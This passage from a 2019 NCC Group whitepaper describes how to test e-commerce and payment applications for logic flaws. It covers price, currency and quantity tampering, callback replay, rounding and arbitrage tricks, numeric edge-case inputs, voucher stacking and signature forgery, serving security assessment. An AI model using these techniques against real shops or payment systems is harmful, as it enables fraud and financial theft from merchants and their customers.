tab, to complete payment for the initial item. When the order was completed, all items in the basket were shown as paid in the final receipt. The user could buy additional items for free, while only paying for the initial item. Figure 2: An example of changing the order upon payment completion This vulnerability may also exist in the deposit process when an application can hold user balances. NCC Group has also encountered a rare scenario in which an application validated the input values and stored them in the session regardless of the validation result. In this case, the application did not go to the next stage when an input value was invalid. However, if a user went to the next stage by providing valid values, and then replayed the previous request with invalid values, the application stored the invalid values in the session and did not validate them any more as the user had already passed that stage. This caused severe logical issues for the application. NCC Group | Page 6 © Copyright 2019 NCC Group 2.1.3 Changing the Order after Payment Completion Updating details in a completed order, a generated invoice or quote can lead to financial loss. This can happen when an application does not verify the status of a completed transaction. As a result, it might be possible to add more items to an already completed order, modify existing items to abuse an existing offer, or change other details without paying an additional fee. The following case shows an example of this vulnerability which was seen in a production website: An insurance certificate was generated for a cheap vehicle with wrong details to reduce the insurance cost. After the order was completed, the previously sent requests were modified and replayed to bypass checks that were applied in order to identify the status of an insurance application. As a result, it was possible to change details within a paid insurance certificate to include more expensive vehicles or to change the expiry time without paying an additional fee. 2.2 Parameter Manipulation CWE: 20 , 691 , 693 , 179 , 345 , 807 , 115 , 133 , 166 , 167 , 168 , 171, 915 Parameter manipulation is a key technique for exploiting many of the security issues outlined in this paper. Below we discuss the most interesting parameters that should be considered and tested during an assessment of a financial application. 2.2.1 Price Manipulation Price manipulation is an important test for any e-commerce applications in which the user can purchase a product. Applications normally send the price data to the payment pages, especially when the payment module is not part of the web application and therefore does not have access to user sessions or the database. It is also possible to find applications that send the price data upon selecting an item to add it to the basket. Sometimes it is possible to buy the same item cheaper or even for free by manipulating its price. Although nowadays it is very rare to find an application that accepts negative numbers via the price fields, this always needs to be tested as it may change the application flow completely. The following interesting example has been seen by NCC Group in recent years: The e-commerce site’s “add to basket” mechanism contained a “price” parameter in a hidden field, but the application ignored a manipulated price in the request and used the correct value instead. However, it was found later that by adding a number of sale items (items with additional discounts) to the basket, the application started using the price parameter within the request, and allowed price manipulation and negative values (see the “Dynamic Prices, Prices with Tolerance, or Referral Schemes” section for more information). Sometimes, when the application is badly implemented, it is possible to change the price value on the callback from the payment server (which goes through the user’s browser and not via the backend APIs). In this case, the user can alter the price before going to the payment page, and after completing the transaction the price in the callback URL will be changed to reflect its initial value. The user could later ask for a refund and gain this money. Although it is rare to see a vulnerable application like this nowadays, it is always worth checking for this type of vulnerability. 2.2.2 Currency Manipulation Although an e-commerce website may not accept different currencies, payment applications normally accept them, and they generally require the currency parameter to be specified in the initial request. If a website does not validate the currency parameter upon completion of a transaction, a user can cheat by depositing money in a currency which has a much lower value than the requested currency. The following example shows a badly-implemented PayPal payment method that could be exploited: A user makes a payment of £20 to a website, using the PayPal payment option. The request that the website sent to the PayPal website was intercepted and the currency parameter was changed to “INR” (Indian Rupee) from “GBP” (British Pound). After completing the transaction on the PayPal website NCC Group | Page 7 © Copyright 2019 NCC Group with 20 Indian Rupees, the website authorised the transaction without checking the currency, and £20 was deposited in the user’s account while only £0.22 was withdrawn from the PayPal account. Figure 3: Paying less by currency manipulation 2.2.3 Quantity Manipulation Websites calculate a final price based on the quantity of items purchased. Therefore, it may be possible for this parameter to be manipulated to contain small or negative values, to affect the price on the final payment page. The website may remove items that have zero or negative values within the quantity parameters. In this case, decimal values such as “0.01”, “0.51”, or “0.996” can be tested to see if they have any effects on the final price. This method can be more dangerous when used on items which are not normally manually reviewed. 2.2.4 Shipping Address and Post Method Manipulation Changing the shipping address and the posting method may change the cost of items. Therefore, it is important to test this manipulation during the last stage of the payment process to check whether it changes the cost. It is sometimes possible to change the shipping address after placing an order and before receiving the invoice, by changing the user’s profile address, so this needs to be tested as well. This can also be a TOCTOU issue – see the section above. The tax value can also be based on the address. This should be tested to ensure that it is not easy for an attacker to avoid required taxes, such as VAT or import fees, by manipulating the address in the process. 2.2.5 Additional Costs Manipulation Any additional parameter that can affect the final cost of a product, such as delivery at a specific time or adding a gift wrap should also be tested, to ensure it is not possible to add them for free at any stage of the payment process. 2.2.6 Response Manipulation Sometimes application payment processes, application license checks, or in-app asset purchases can also be bypassed by manipulating the server’s response. This threat normally occurs when the application does not verify the response of a third party and the response has not been cryptographically signed. NCC Group | Page 8 © Copyright 2019 NCC Group As an example, there are applications with a time-restricted trial version which do not cryptographically validate the server’s response upon purchasing a license. As a result, it is possible to activate the application without paying any money, by intercepting and manipulating its server’s response to a license purchase request. Other examples include mobile games which download user settings from a server after opening an app. For vulnerable applications it can be possible to manipulate the server’s response to use non- free or locked items without paying any money. 2.2.7 Repeating an Input Parameter Multiple Times This is very rare, but repeating an input parameter within a request that goes to the application or to the payment gateway may cause logical issues, especially when the application uses different codebases or different technology to parse the inputs on the server side. Different technologies may behave differently when they receive repetitive input parameters. This becomes especially important when the application sends server-side requests to other applications with different technologies, or when customised code to identify the inputs is in place. For example, the “amount” parameter was repeated in the following URL: /page.extension?amount=2&amount=3&amount[]=4 This has different meaning for code written in ASP, ASP.Net, or PHP, as shown below: ASP  amount = 2, 3 ASP.Net  amount = 2,3 PHP (Apache)  amount = Array This test shows a classic example of HTTP parameter pollution [10]. However, repeating input parameters is not only limited to normal GET or POST parameters, and could be used in other scenarios such as repeating a number of XML tags and attributes in an XML request, or another JSON object within the original JSON objects. 2.2.8 Omitting an Input Parameter or its Value Similar to repeating input parameters, omitting parameters may also cause logical issues when the application cannot find an input or sees a null character as the value. The following cases can be tested for sensitive inputs to bypass certain protection mechanisms:  Removing the value  Replacing the value by a null character  Removing the equals-sign character after the input parameter  Removing the input parameter completely from the request 2.2.9 Mass Assignment, Autobinding, or Object Injection This occurs when an application accepts additional parameters when they are included in a request. This can occur in a number of languages or frameworks such as Ruby on Rails, NodeJS, Spring MVC, ASP NET MVC, and PHP. This can be problematic for a financial application when cost-related data can be manipulated. As an example, this was exploited on a real website in order to change the shipping address and the “due to” date of an invoice to make it almost unpayable as it was set to date that was far in the future. 2.2.10 Monitor the Behaviour while Changing Parameters to Detect Logical Flaws Just as when testing non-financial applications, all input parameters within the payment process should be tested separately in order to detect logical flaws. In the example below, the payment process flow could be changed by manipulating certain parameters: NCC Group | Page 9 © Copyright 2019 NCC Group In a web application, there was a parameter which was used to tell the server to use the 3D-Secure mechanism, which could be manipulated to circumvent this checking process. Sometimes web applications contain a parameter which shows the current page number or stage. A user may be able to bypass certain stages or pages by manipulating this parameter in the next request. It is not normally recommended to change more than one parameter during a limited time frame of testing; however, some logical flaws can be found only by changing more than one parameter at a time. This is useful when an application detects parameter manipulation for parameters such as the price field. Although it may not be feasible to test different combinations of all input parameters, it is recommended to modify at least a couple of the interesting inputs at the same time. In order to automate this test, the target field such as the price or the quantity parameter can be set to a specific amount that is not normally allowed, and then other parameters can be changed one by one to detect any possible bypass of current validation mechanisms when the application accepts the manipulated items. The following shows an example of this kind of vulnerability. Suppose the server-side code is as follows: 1: Try 2: ' Delivery type should be an integer 3: deliveryType = Int(deliveryType) 4: ' Quantity should be an integer 5: quantity = Int(quantity) 6: Catch ex As Exception 7: ' Empty catch! 8: End Try 9: ' Continue ... This code makes sure that the “deliveryType” variable contains an integer number, then does the same thing for the “quantity” variable. Therefore, if decimal numbers are sent, they will be converted to integer values to prevent a security issue in which a user may pay less by changing the “quantity” parameter to a decimal value such as “0.1”. However, due to an empty Catch section in line 7, the “quantity” parameter can still contain a decimal number such as “0.1” when the “deliveryType” parameter contains a string such as “foobar”. In this case, the application jumps to the Catch section due to an error in converting a string value to an integer in line 3, before converting the “quantity” parameter to an integer. 2.3 Replay Attacks (Capture-Replay) A replay attack occurs when all or part of a message between the client and the server are copied and replayed later. The parameters can also be changed when no parameter manipulation prevention technique such as message signature validation is present on the server side. Although a message can be signed or encrypted to prevent parameter manipulation, this will not stop replay of a message which was originally created by a trusted party. An application can be vulnerable to serious security issues when it trusts replayed requests without performing any further validation to check whether they have already been received or sent in the right order. 2.3.1 Replaying the Call-back Request It is quite normal for payment systems to redirect the user to a specific page when a payment has successfully been processed or failed. Sometimes it is possible to replay a request which was for a successful payment, to authorise a transaction which has not yet been processed. For example, a website signed all the input parameters except the “transaction-id” parameter in a successful callback request. This parameter could be replaced with a new transaction-id to complete a payment without spending any money. NCC Group | Page 10 © Copyright 2019 NCC Group 2.3.2 Replaying an Encrypted Parameter Sometimes websites encrypt some of the important parameters without creating a mechanism to detect replay attacks. For example, there was a website which encrypted price values on the server side to include them in hidden input fields. Although direct price manipulation was not possible when price parameters were encrypted, it was still possible to use the encrypted price parameter of cheaper items to buy more expensive items (individual prices were encrypted, but not the entire request). 2.4 Rounding Errors CWE: 187 and 681 Numerical values can be stored in integer or float variables. Although float variables can contain numbers with some digits after the decimal point, the number of digits is still finite and based on the variable type and its precision. Integer variables can only contain numerical values which do not have any digits after the decimal point. When a mathematical value is stored in a numerical variable, it needs to be rounded based on the precision of the variable type. As a result, the new stored number can be slightly greater or smaller than the original value. This normal behaviour can sometimes be abused by attackers. 2.4.1 Currency Rounding Issues The following images show an example of exchange rates (USD to/from GBP) in Google at one time: Figure 4: Exchange rate from USD to GBP in Google (rounded by two digits after the decimal point) Figure 5: Exchange rate from GBP to USD in Google (rounded by two digits after the decimal point) As Google rounds the numbers to two digits after the decimal point, someone could convert $0.20 to £0.14 (something like £0.1352 before rounding) and then convert £0.14 to $0.21 (something like £0.2070 before rounding) with a profit of $0.01. By doing this a hundred times, a dollar could be created. However, the following images show the exchange rate with four digits after the decimal point in another website at the same time (LikeForex.com): NCC Group | Page 11 © Copyright 2019 NCC Group Figure 6: Exchange rate from USD to GBP in LikeForex (rounded by four digits after the decimal point) Figure 7: Exchange rate from GBP to USD in LikeForex (rounded by four digits after the decimal point) Figure 8: Exchange rate from GBP to USD in LikeForex (rounded by four digits after the decimal point) In this case, someone could exchange $0.20 for £0.1352 and then exchange £0.1352 for $0.2004, giving a small profit of $0.0004. These exchanges need to be executed 2500 times to create one dollar. If a real financial application converts different currencies to each other without a commission fee or without different buy and sell rates in favour of the company, this can lead to a financial gain for an attacker [2]. Shopping applications that support multiple currencies can also become victims of currency rounding issues, when a user can buy an item with one currency and refund it with another. In addition, applications in which users can deposit money into their accounts (such as banks, international calling card companies, or gambling websites), can become vulnerable if they support multiple currencies with different exchange rates and a user can withdraw the deposited money from their accounts immediately without any cost. Changing the currency of the account after the first deposit can also lead to this vulnerability. This can be more problematic when the application uses a different exchange rate than the payment gateway (see the “Currency Arbitrage in Deposit/Buy and Withdrawal/Refund” section). 2.4.2 Generic Rounding Issues Rounding issues are not always limited to currency exchange. Even shopping applications which only support one type of currency can be affected by inconsistencies between different parts of the application. The following is an example of this type of inconsistency, which should be tested: The user chooses to deposit £10.0049 to a website that can hold the user’s balance; the website keeps this money in the database to authorise it and adds it to the user’s balance when the money transfer from the bank is completed. However, the banking API only accepts numbers with two digits after the decimal pointer based on its standard. Therefore, the application converts the money to £10.00 and waits for the user and the payment gateway to complete this transaction. After the transaction is completed, £10.00 will be deducted from the user’s bank account but £10.0049 will be deposited into the site’s balance. After repeating this process 205 times, the user can gain £1.00. The same problem arises when the monetary calculation within the same application is done by different applications or different codes. One example can be the use of database stored procedures NCC Group | Page 12 © Copyright 2019 NCC Group for some of the calculations (for example money transfer) and C# code with different rules for other monetary calculations (such as money withdrawal or cancelling the money transfer). 2.5 Numerical Processing CWE: 189 Obviously numbers play an important role in financial systems [4]. Manipulating numbers for e- commerce applications can lead to different logical issues and money loss in severe cases. Therefore, different test-cases should be designed to test numerical parameter manipulation in numerical fields such as price, quantity, voucher codes and so on. 2.5.1 Negative Numbers Negative numbers can lead to a number of logical issues. Most of the time, they reverse the application logic so, for example, a user may be able to deposit “£100” by refunding “-£100” from the system. Any associated parameter value such as the quantity parameter can also be used for this purpose. As the application logic is reversed, transferring “-£100” into another account can be like transferring money from the target account to steal their money. The same logical issue applies to reward points or within gaming applications in which chips or other virtual currencies are used instead of money to buy virtual items. Although using negative numbers in different parameters does not always reverse the application logic, it can cause other useful logical flaws and it should always be tested. The “-1” value should also be tested separately, as it can have a specific meaning for the application, as developers often use it to initialise numerical parameters or when a condition has not been met. 2.5.2 Decimal Numbers In addition to the rounding issues which were discussed earlier, decimal numbers can cause logical issues for applications, especially when a parameter such as quantity should only accept integer values. Decimal values can also be used to exploit rounding issues – see the section above. An additional use of decimal values is to create the same transactions multiple times when there is a restriction on uniqueness of items in an order; in this case, it can be used in numerical id parameters to point to the same item multiple times by having values such as “1234”, “1234.00”, or “01234.000001”, which can have the same meaning when processed by the payment system or the database. 2.5.3 Large or Small Numbers Range validation check is an important test, which should be done using a value slightly larger or smaller than the maximum and minimum values (decimal numbers can be used here as well). 2.5.4 Overflows and Underflows A numeric overflow or underflow can occur when a value or the result of a calculation is bigger or smaller than what can be stored for that variable type in the memory or the database. For example, in Java or C# (not VB.NET), if an integer value reaches the maximum value (“231-1 = 2147483647”) and is incremented, an overflow occurs, without causing any error, which causes the value to roll-over into the smallest minimum value (“-231 = -2147483648”). These numbers can be used to bypass some validations. A similar behaviour may occur in other programming languages. 2.5.5 Zero, Null, or Subnormal Numbers “0”, “NaN”, or null characters can be used in different contexts, especially for price manipulation. Non-zero numbers with magnitude smaller than the smallest normal number and which are nearly equal to zero, such as “0.0000000000000000000000000000000001” or “1e-50”, should also be tested. NCC Group | Page 13 © Copyright 2019 NCC Group 2.5.6 Exponential Notation Exponential notations are quite useful for bypassing length restrictions in which the numerical values cannot contain certain number of digits. For instance, when only four characters are allowed, the following notation can bypass the “9999” restriction as the maximum value: 9e99 = 9 * 10^99  100 digits Another example is when the dot character (“.”) is not allowed to create decimal numbers: 1e-1 = 0.1 2.5.7 Reserved Words The following reserved words can be used in Java and C# applications to represent a number, which can cause serious logical issues: NaN Infinity -NaN -Infinity 2.5.8 Numbers in Different Formats Numbers in different technologies can be written in different formats to bypass validation mechanisms. For instance, when sending “0” as a value is restricted, “0.00”, “-0.00”, or even “$0” or “£0” could be allowed. The following table shows response of different functions within ASP Classic (VBScript), C# .NET, Java, and PHP to several presentations of numbers. Columns Description: A. VBScript – ASP Classic IsNumeric function B. C# – .NET IsNumeric function C. C# – .NET Double.TryParse function + result value D. Java – Float.valueOf function + result value E. PHP – is_numeric function F. PHP– floatval function + result value String A B C D E F Comment 001.0000 True True True (1) True (001.0000) True True (1) Decimal symbol with leading zeros based on the regional settings of the server $10 False True False (10) False False False Currency symbol based on the regional settings of the server (culture format). 1,,2,,,3,, True True True (123) False False True (1) Digit grouping symbol based on the regional settings of the server (culture format). Can be created by HPP too. -10.0 True True True (-10) True (-10.0) True True (-10) Negative symbol based on the regional settings of the server. It could be a positive sign. NCC Group | Page 14 © Copyright 2019 NCC Group String A B C D E F Comment (10) True True False (-10) False False False Negative symbol based on the regional settings of the server. 10- True True False (-10) False False True (10) Negative symbol based on the regional settings of the server. It could be a positive sign. 1e2 True True True (100) True (1e2) True True (100) String length can be less than the number’s length %20%091 True True True (1) True (1) True True (1) Space characters (09-0D and 20) Space characters (09-0D and 20) %20=Space %09=Tab 1%20%00%00 True True True (1) True (1) False True (1) Space characters (09-0D and 20) followed by Null Character(s) &hff True True False (255) False False False &h and &o can be used in VBScript to represent a number in Hex or Octal. Infinity False True True (Infinity) True (Infinity) False False Infinity: a reserved Word for C# and Java NaN False True True (NaN) True (NaN) False False NaN (not a number): a reserved Word for C# and Java 0x0A False False False False True False Hex format An Array False False False False False True (1) Providing an input as an array. e.g.: p.php?in[]=val %0B%09%20- 0001,,,,2.8e00 02%09%20%0 C%00%00 True True True (-1280) False False True (-1) An example using the above notations %0B$%09%2 0(0001,,,,2.8e 0002%09%20) %0C%00%00 False True False (-1280) False False False An example using the above notations Note 1: “Integer.parseInt” in Java cannot convert any of the numbers in the above table. Note 2: “Convert.ToInt32("0X0A", 16)” in C# .Net returns “10”. This function cannot convert other numbers in the above table though. Note 3: PHP 5.4 supports a binary prefix (“0b”) that can be used to create a number as well. NCC Group | Page 15 © Copyright 2019 NCC Group 2.6 Card Number-Related Issues Payment card numbers are some of the most attractive data for attackers. In addition to being used for online shopping, they can be sold on black markets even without the card verification code or value (three-digit or four-digit number printed on the front or back of a payment card). Nowadays many e-commerce websites are compliant with the Payment Card Industry Data Security Standard (PCI DSS) [8], making them more secure and in order to attract more suppliers and customers and to reduce the risk of card data breaches. As a result, they must not permanently store the card verification code used to verify card-not-present transactions. In addition, they must encrypt the card numbers in their storage. The following examples discuss two different security issues to which PCI-compliant web applications can still be vulnerable. 2.6.1 Showing a Saved Card Number during the Payment Process E-commerce websites may reveal users’ saved bank card numbers during the checkout process. Most of the time, this occurs due to a bad implementation, and the card number is not required to be displayed. Sometimes, however, the card number should be decrypted on the payment page; for instance if it is to be sent to a 3D-Secure authentication website. This can be problematic, as an attacker who has hijacked a user’s session or credentials or is exploiting a cross-site scripting (XSS) issue can obtain the card numbers. The risk can be mitigated if card numbers are only partially displayed (e.g. the last for digits) when necessary, the pages which contain the card numbers are password protected, and the 3D-Secure authentication process or similar mechanisms cannot be activated directly by accessing those pages when they are not required. NCC Group also often finds unsaved card numbers in HTTP responses after using a card number in a payment process and before logging out of the website. This behaviour can also be dangerous, especially when the website is vulnerable to XSS or session-hijacking attacks. It should be noted that the CVV (CV2) numbers (the card verification code) must not be seen in any of the responses from the server at any time. 2.6.2 Card Number Enumeration via Registering Duplicate Cards Some websites do not allow their customers to save the same card number in multiple accounts. One of the reasons is to detect duplicate accounts or to stop abusing first-time buyers’ offers. This functionality, when it is badly implemented, can be abused to brute-force other user card numbers which are registered on the website. 2.7 Dynamic Prices, Prices with Tolerance, or Referral Schemes CWE: 840 Sometimes prices and discounts can be dynamic because of currency exchange rates, number of sold items, referral schemes, and delays in submitting a price in dynamic trading systems. Therefore, the application specification should be reviewed to see if it supports dynamic prices. Most of the time, an additional input parameter helps the application to recognise the use of dynamic prices. For instance, the system may start using dynamic prices when the application does not use the default currency or when a customer uses a mobile device or resides in a certain country which can have a slower Internet speed. It may also consider using submitted prices when a referral header or a referral parameter is available. In order to find these systems, a number close to the original price (price ± 0.01) should be submitted while changing the other parameters. Other parameters that affect the final price may also be dynamic or have a margin of threshold. For example, it is quite normal to see this behaviour in the “odds” parameter of a live betting application. NCC Group | Page 16 © Copyright 2019 NCC Group The application policy should be reviewed whenever dynamic prices are found, to ensure that the changed prices are within the allowed margin. In addition, a secure cryptographic method should be used when the prices are generated by a trusted party or even by the website itself, in order to identify any manipulation by untrusted parties. 2.8 Discount Codes, Vouchers, Offers, Reward Points, and Gift Cards Users can earn reward points in many e-commerce applications when the points can be used to purchase items, they should be treated and tested exactly like the user’s balance. Therefore, negative number issues, rounding issues, concurrency issues, and so on should all be tested. 2.8.1 Enumeration and Guessing Discount codes and vouchers which can be used to reduce the final price should be tested to ensure they are not predictable and cannot be easily enumerated. Similarly, gift or loyalty card numbers should be unpredictable and very difficult to enumerate, otherwise an attacker can create a duplicate card to use a victim’s balance. When these cards carry a spendable balance, they should be treated similarly to bank card numbers and should be protected by PIN codes or passwords. 2.8.2 Vouchers and Offers Stacking E-commerce applications typically prevent the use of multiple vouchers or offers in a single transaction. However, logical flaws sometimes happen when for example a buy-1-get-1-free offer is combined with 3-for-2 or 3-for-1 which can result in a 3-for-1 or 3-for-0.5. 2.8.3 Earning More Points or Cash Return than the Price when Buying an Item Point collection when using points to purchase an item should not be possible as it can lead to logical flaws. An example can be a promotional offer that buying with points would result in collecting the same amount of points. This can also happen in systems that can accept cash when the promotional returned cash or collected points can be used to buy the same item. Another interesting example is the purchase of prepaid cash cards that can be used like real money. These cards may be purchased for less than their actual value when there is an offer on all gift cards. This can even be more problematic when gift cards can be used to purchase more gift cards to create constant profit until they are out of stock. 2.8.4 Using Expired, Invalid, or Other Users’ Codes The application behaviour after applying any discount method should be reviewed to see if there are any interesting parameters that can be manipulated or replayed to use a discount code for different products, after a certain date when it is expired, or multiple times when it should expire after the first use (concurrency issues can also be tested here). Vouchers and offers should be tried to ensure they cannot be used to buy illegitimate items for instance using new product discount codes to extend old services. Another example of a verification issue is when vendor A promotional codes can be used on vendor B’s website, even if a user does not have an account with vendor A. 2.8.5 State and Basket Manipulation Applications need to be tested to ensure that the discount values are calculated at the last stage of purchase when the user changes the initial order in any way (adding/removing items or changing the quantities). This issue can be exploited when removing items from a bundle does not reduce the discount on the rest of selected items. In this case, additional items are added to basket to satisfy a promotion, and the discount is still honoured upon their removal. NCC Group | Page 17 © Copyright 2019 NCC Group Another variant is when discounted and non-discounted items can be added to a basket to receive an additional discount on the whole basket. For instance, this might be exploited similar to voucher or promotion stacking when another voucher code can be applied to the whole basket, as a non- discounted item exists. In some cases, the originally non-discounted item can be removed from the basket afterwards without losing the discount on an already discounted item. 2.8.6 Refund Abuse The refund process should also be tested to ensure that a user cannot earn free points by buying and refunding items. The points might be spent in between buying and refunding items; in this case, users may not have enough points in their reward cards when refunding an item, and an appropriate policy should be in place to recover the lost points. Any collected free items should also be considered to be returned when a refund or cancellation is due to happen. 2.8.7 Buy-X-Get-Y-Free Offer schemes such as buy-one-get-one-free in which the user only pays for the most expensive item can also be abused to buy inapplicable items for free or to pay for the cheapest items to get the more expensive ones for free. The following logical issues show a series of examples that might occur here:  Not discounting the cheapest item in 3-for-2. This can result in buying an expensive item for less. For example, when the discount is applied on the last item added to the basket or when the cheapest item is not alphabetically the last one in the list of items in a basket.  3-for-2 can become 2-for-1 when a free item is added by buying another item and the free item is counted as one of 3.  3-for-2 can become 33% off the whole basket. Although this might be a human error, some applications might have a software bug to allow this when different items are mixed and matched. As a result, it is possible to add an expensive and two cheap items to the basket to buy the expensive item cheaper.  3-for-2 can become 4-for-2 when adding 4 items to the list rather than 3.  3-for-2 can become 3-for-1 when there is a software bug. Although this type of issue is common, it is highly likely that it is based on human error. 2.8.8 Ordering Out of Stock or Unreleased Items Some websites may reduce their out of stock items’ prices in order to attract more customers. This might be abused if an order can be made using out of stock items when it can still go through to their warehouse while the items still exist despite being selected as out of stock on the website. This can also be abused in order to receive free or discounted items by adding an out of stock item to the basket as part of a special discount or offer. It should be noted that this issue might also be exploited by ordering and then cancelling all of a specific item in a website in order to create a temporary out of stock item while the website is processing the cancellation requests. 2.8.9 Bypassing Other Restrictions Additional tests need to be performed to bypass any available restrictions such as limited quantity of specific items in sale, use of customer specific offers, or using one time vouchers multiple times. NCC Group | Page 18 © Copyright 2019 NCC Group 2.8.10 Point Transfer If users receive reward points by referring someone else to register or by registering themselves for the first time, they can abuse the reward point scheme by using point transfer functionality. Although point transfer functionality may not be directly accessible to the users in an application, it can be available upon closing an account or when a loyalty card has been lost or stolen. The point transfer functionality should also be tested for the previously explained race condition issues. 2.9 Cryptography Issues CWE: 310 Cryptographic methods such as encryption, encoding, signing, and hashing are often seen within payment systems. However, design errors and implementation mistakes, due to human error, or the lack of attack vector knowledge, are quite commonly seen in this area, especially in applications which implement their own cryptography methods rather than using well-known pre-implemented libraries. For example, when an application hashes some of the known parameters with a short and insecure secret key, this key can easily be brute-forced when the algorithm is known. Sometimes applications do not use long and strong secret keys when the implementation does not enforce it. Another example is length-extension attack, in which the hash of a secret key which is concatenated with other values can be exploited to add data to the original request by padding the original data and calculating a new hash (see [5] and [6] for more details). Concatenated values in a signature hash should also use unforgeable delimiters. Otherwise, it might be possible to move part of a parameter’s value to another parameter’s value without changing the signature as the concatenated string remains the same. The following example shows a signature hash based on concatenated parameters without any delimiters which could leave the application vulnerable: HMAC_SHA256(SecretKey, Other Parameters + ReferenceString + NumericalAmount) When the “ReferenceString” parameter could contain an arbitrary string, the “NumericalAmount” parameter could be manipulated as shown below to create the same signature hash: OtherParams=OtherValues&...&ReferenceString=SomeStringHere&NumericalAmount=89 OtherParams=OtherValues&...&ReferenceString=SomeStringHere8&NumericalAmount=9 When the encrypted values are used in multiple places within the input parameters (in cookies, or POST/GET requests), the application often decrypts them in multiple places as well. The user may be able to use those pages to decrypt unknown encrypted values in order to understand how the application works. The problem can be severe if a user can shape and encrypt arbitrary data by using the provided input parameters in order to replace the current encrypted parameters. As was discussed in the “Replay Attacks” section, sometimes there is also no need to break the cryptography methods, as they can be replayed. 2.10 Downloadable and Virtual Goods CWE: 425 E-commerce applications which sell virtual goods such as application files, MP3s, streaming videos, or PDF and document files can often be vulnerable to direct object reference attacks. In this case, an attacker can download or use non-free materials for free just by guessing or finding the actual URLs of the virtual products. 2.11 Hidden and Insecure Backend APIs CWE: 656 NCC Group | Page 19 © Copyright 2019 NCC Group Backend APIs which are used by electronic point of sale systems or payment servers are often old and insecure, as they are not directly accessible to the users. Sometimes even mobile or tablet application APIs are also insecure, as the developer did not think about security in the server side application layer when implementing them. Some of these APIs and web services do not have any protection against many of the described attack techniques, and some of them even suffer from access control issues, allowing an attacker to perform administrative tasks such as balance adjustment. 2.12 Using Test Data in Production Environment CWE: 531 In order to implement an e-commerce application, test payment methods and dummy card data are normally used in the testing or staging environments to prevent sending test requests to the live payment APIs or banks. Developers often miss removing a code from the production environment that is supposed to be only available in the testing environment. As a result, it is sometimes possible to change some of the parameters in the request to force a live application to use the test data. In addition, an e-commerce application may not show all of its payment methods, especially when they are not enabled for a specific user or when they are not fully implemented. Some of the test pages with which developers test and debug the functionality of third party APIs to ensure they work in the right way can also be available on e-commerce websites. These debugging functions and test pages can put the website in danger when found by an attacker. The following shows an example of this vulnerability: A website sent a numerical payment type to the server, alongside the other parameters which were needed to complete a transaction. However, changing the payment type to other numerical values could force the application to use the test payment gateway that used testing accounts to simulate the live environment. This allowed an attacker to complete a transaction without spending real money, just by connecting the application to its testing environment. The destination page and all the input data in a payment request should be examined and tested to make sure that is not possible to force a live application to use test data. For instance, sometimes changing the “HOST” header in the HTTP request to a known internal hostname that is used for testing can trigger this vulnerability. In addition, payment-specific testing data should also be tested in order to make sure that it is not possible to use it in the live environment. For instance, in one application it was possible to use the Sage Pay test card data [9] in a real transaction. 2.13 Currency Arbitrage in Deposit/Buy and Withdrawal/Refund If an e-commerce application supports different payment methods with different currencies, someone can potentially deposit money in one currency and withdraw it with another. Arbitrage occurs when the deposit and the withdrawal methods are different (such as using a credit card company to deposit money and PayPal for money withdrawal) and they use inconsistent exchange rates. For instance, imagine a third party website supports two different payment types (let’s call them Bank A and B) to deposit or withdraw money in or from the website. The USD-to-EUR exchange rate with the commission is 3/2 (giving $3 for €2) using Bank A, and the EUR-to-USD exchange rate is 3/4 using Bank B (giving €3 for $4). By depositing 8 Euros in the website using Bank A, 12 Dollars will be deposited (exchange rate = 3/2). Now, by withdrawing this 12 Dollars from the website and depositing them into Bank B, 9 Euros will be deposited for the user (exchange rate = 3/4). This gives one additional Euro to the user who only had deposited 8 Euros to the website originally. NCC Group | Page 20 © Copyright 2019 NCC Group Figure 9: Exploiting currency arbitrage A more sophisticated issue can be found when a financial application supports money transfer with different currencies, as multiple-currency arbitrage (such as triangular arbitrage) can be exploited when the commission fees are negligible. It is rare to see this vulnerability among banking and trading applications, due to the use of high-speed computer networks which can alarm them to close the gap whenever arbitrage can happen [3]. However, an e-commerce application that updates its exchange rate slowly can be a victim of this exploitation technique. NCC Group | Page 21 © Copyright 2019 NCC Group 3 Conclusions In this paper, the following attack methods and testing methodologies were discussed against e- commerce, payment, and trading applications: • Time-of-Check-Time-of-Use (TOCTOU) and race condition issues o Transferring money/points or buying items simultaneously o Changing the order upon payment completion o Changing the order after payment completion • Parameter manipulation o Price manipulation o Currency manipulation o Quantity manipulation o Shipping address and post method manipulation o Additional costs manipulation o Response manipulation o Repeating an input parameter multiple times o Omitting an input parameter or its value o Mass assignment, autobinding, or object injection o Monitor the behaviour while changing parameters to detect logical flaws • Replay attacks o Replay the call-back request o Replay an encrypted parameter • Rounding issues o Currency rounding issues o Generic rounding issues between different applications • Numerical processing o Negative numbers o Decimal numbers o Large or small numbers o Overflows and underflows o Zero, null, or subnormal numbers o Exponential notation o Reserved words o Numbers in different formats • Credit card and other payment card related issues o Showing a saved card number during the payment process o Card number enumeration via registering duplicate cards • Dynamic prices, prices with tolerance, or referral schemes • Discount codes, vouchers, offers, reward points, and gift cards o Enumeration and guessing o Vouchers and offers stacking o Earning more points or cash return than the price when buying an item o Using expired, invalid, or other users’ codes o State and basket manipulation o Refund abuse o Buy-x-get-y-free o Ordering out of stock or unreleased items o Bypassing other restrictions o Point transfer • Cryptography Issues • Downloadable and virtual goods • Hidden and insecure backend APIs • Using test data in production environment • Currency arbitrage in deposit/buy and withdrawal/refund These attack methods can also be used against other similar applications such as betting and gambling applications, or other financial services platforms. NCC Group | Page 22 © Copyright 2019 NCC Group In addition to the items which were discussed in this research, web applications should also be tested for common vulnerabilities to ensure comprehensive coverage. Organisations such as OWASP provide good advice on what to cover, and how to gain this coverage. It is clear that while there are common factors in all web applications, understanding the supporting business process and thus specific threats is imperative in order to tease out certain vulnerabilities. It is for this reason that today humans can provide a more complete picture than automated tooling alone. In the future we can expect approaches such as expert systems to go some way to make up this ground, however today certain vulnerability classes, and thus threats, can only reliably be discovered by humans and manual tests within dynamic application environments. NCC Group | Page 23 © Copyright 2019 NCC Group 4 References and Further Reading The following references were used in the production of this whitepaper. 1. Research Insights Volume 1 - Sector Focus: Financial Services https://www.nccgroup.trust/media/481879/research-insights-vol-1_sector-focus-financial- services-mar2015-online.pdf 2. Is Your Online Bank Vulnerable To Currency Rounding Attacks? http://blog.acrossecurity.com/2012/01/is-your-online-bank-vulnerable-to.html 3. Currency Arbitrage http://www.investopedia.com/terms/c/currency-arbitrage.asp 4. Corsaire Whitepaper: Breaking the Bank http://lists.owasp.org/pipermail/webappsec/2008-July/000634.html 5. Ron Bowes – Crypto: You’re Doing It Wrong https://www.youtube.com/watch?v=j3wXitDweC4#t=1411 6. Flickr API Signature Forgery http://netifera.com/research/flickr_api_signature_forgery.pdf 7. Don’t trust a string based on TryParse or IsNumeric result 